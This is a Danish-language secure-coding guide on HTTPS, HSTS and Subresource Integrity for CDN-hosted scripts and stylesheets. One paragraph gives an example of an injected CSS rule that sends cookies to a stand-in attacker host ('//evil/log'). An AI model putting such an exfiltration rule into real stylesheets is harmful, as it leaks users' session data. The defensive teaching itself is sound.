HTTPS og Subresource Integrity

HTTP Strict Transport Security via svarheaderen Strict-Transport-Security fortæller browsere, at de fremover skal afvise HTTP-forbindelser til dit domæne. Når HSTS er gemt i cachen, kan en angriber ikke nedgradere en bruger til HTTP, selv hvis angriberen befinder sig mellem brugeren og serveren.

Det er praktisk at indlæse scripts fra tredjeparts-CDN'er, men det indebærer risici — hvis CDN'et kompromitteres, kan en angriber udskifte scriptet med skadelig kode. Subresource Integrity (SRI) får browseren til at kontrollere filens kryptografiske hash, før den køres, og nægter at køre den, hvis hashen ikke stemmer.

Tilføj en base64-kodet SHA-256/384/512-hash til script-tagget: <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. Browseren beregner hashen for den downloadede fil og nægter at køre den, hvis hashen ikke stemmer.

Generér hashen med openssl: openssl dgst -sha384 -binary file.js | openssl base64 -A. Du kan også bruge et plugin til et byggeværktøj, som automatisk genererer attributten integrity. De fleste CDN'er (jsdelivr, unpkg) viser SRI-tagget i deres kopiér-og-indsæt-kodestykke.

SRI kræver, at svaret fra en anden oprindelse tillader integritetskontrol via CORS. Tilføj crossorigin="anonymous" til tagget, og sørg for, at CDN'et sender Access-Control-Allow-Origin. Uden dette nægter browseren at kontrollere integriteten, og ressourcen indlæses ikke.

Attributten integrity kan indeholde flere hashes adskilt af mellemrum. Det er nyttigt under en versionsovergang: angiv hasherne for både den gamle og den nye version, så accepterer browseren den version, CDN'et leverer. Undgå mere end et par hashes, så attributten forbliver læsbar.

SRI beskytter også . En kompromitteret CSS-fil er mindre direkte farlig end et kompromitteret script, men indsat background: url("//evil/log?cookie=...") kan stadig eksfiltrere data. Anvend SRI på alle eksterne ressourcer, hvor det er muligt.

SRI begrænser virkningen af et kompromitteret CDN, men løser ikke alle problemer: En hashændring på CDN'et ødelægger din side, indtil du opdaterer attributten integrity. For kritiske biblioteker skal du selv hoste den fil, du har gennemgået — så eliminerer du både behovet for SRI-fastlåsning og risikoen i leverandørkæden i én arbejdsgang.

SRI tilføjer en hashberegning pr. ressource — ubetydeligt på moderne hardware, mikrosekunder pr. kilobyte. Beskyttelsen mod angreb på leverandørkæden opvejer langt omkostningen. Der er ingen ydeevnemæssig grund til at springe SRI over, når du indlæser fra et CDN.

SRI kontrollerer bestemte bytes — det beskytter ikke mod, at CDN'et leverer en anden fil til nogle brugere (selektiv målretning). For maksimal sikkerhed skal du kombinere SRI med HTTPS, HSTS, CSP og selvhosting af de mest kritiske ressourcer.

HTTPS krypterer og godkender, HSTS forhindrer nedgraderingsangreb, og SRI kontrollerer, at filer fra tredjeparter ikke er blevet manipuleret. Tilføj integritetshashes (med crossorigin="anonymous") til alle eksterne scripts og stilark fra et CDN, du ikke kontrollerer. For de mest kritiske ressourcer skal du i stedet hoste dem selv — så eliminerer du risikoen i leverandørkæden helt.